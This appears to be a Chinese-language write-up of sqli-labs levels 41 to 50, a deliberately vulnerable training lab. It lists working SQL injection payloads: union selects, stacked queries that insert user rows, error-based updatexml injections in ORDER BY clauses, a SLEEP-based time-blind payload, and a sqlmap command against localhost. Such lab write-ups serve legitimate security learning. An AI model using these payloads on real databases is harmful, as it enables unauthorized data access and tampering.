sqli-labs闯关41-50关——闯关记录
Less-41
测试发现本题不需要闭合
直接构造语句
?id=-1 union select 1,database(),2 #
堆叠注入和前面类似,不多说
Less-42
熟悉的界面哈,先尝试创建一个新用户,结果
虾仁猪心呀,只能看下源码了
可以看见,登录界面对于password没有做任何的过滤
尝试一下堆叠注入
1';insert into users values(99,'xixi','xixi')#
成功
Less-43
测试闭合。。。没测试出来,查看源码发现是单引号小括号闭合,和上一题的方法一样,不再赘述
Less-44
可以知道本题没有报错信息,属于盲注,但是使用堆叠注入,单引号闭合
';insert into users values(97,'xixi','xixi')#
成功
Less-45
查看源码,本题是单引号小括号闭合,且和上题类似,没有报错信息,但注入点相同,不再赘述
Less-46
尝试输入
?sort=1
可以看到,显示内容按第一行(即ID)升序排列
同时也可以控制升序降序
?sort=1 asc #升序
?sort=1 desc #降序
查看源码,可以看到本关的sql语句
$sql="SELECT * FROM users ORDER BY $id"
本题可以利用order by函数后面的内容作为注入点,即使其后面的语句结果是一个数字
这里介绍两个函数
right('hello',1) #返回最右边第一个字符,即 o
left('hello',1) #返回最左边第一个字符,即 h
可以构造语句?sort=right(database(),1)
很遗憾没有变化
考虑布尔类型,报错注入或者延时注入
?sort=rand(true)
?sort=rrand(false)
没有变化,报错注入
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
Less-47
由题目可以看出,本题单引号闭合
本题和上题类似,首先尝试报错注入
?sort=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+
成功
Less-48
可以知道本题是盲注,没有报错信息
尝试延时注入,本题可以使用sqlmap
python sqlmap.py -u "127.0.0.1/sqli-labs/Less-48/?sort=1" --dbs --batch
布尔盲注没有变化,没成功
时间盲注
if()函数
if()函数有三个参数,其用法为if(a,b,c)
第一个参数a:判断语句,返回结果为真假
第二个参数b:如果a的判断返回为真,则执行b
第三个参数c:如果a的判断返回为假,则执行c
实例:select if(1=1,1,0)->1和select if(1=2,1,0)->0
构造语句
?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
可以发现有明显的延时
Less-49
本题和上题类似,不再赘述
Less-50
测试可知本题没有闭合
构造语句
?sort=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+
成功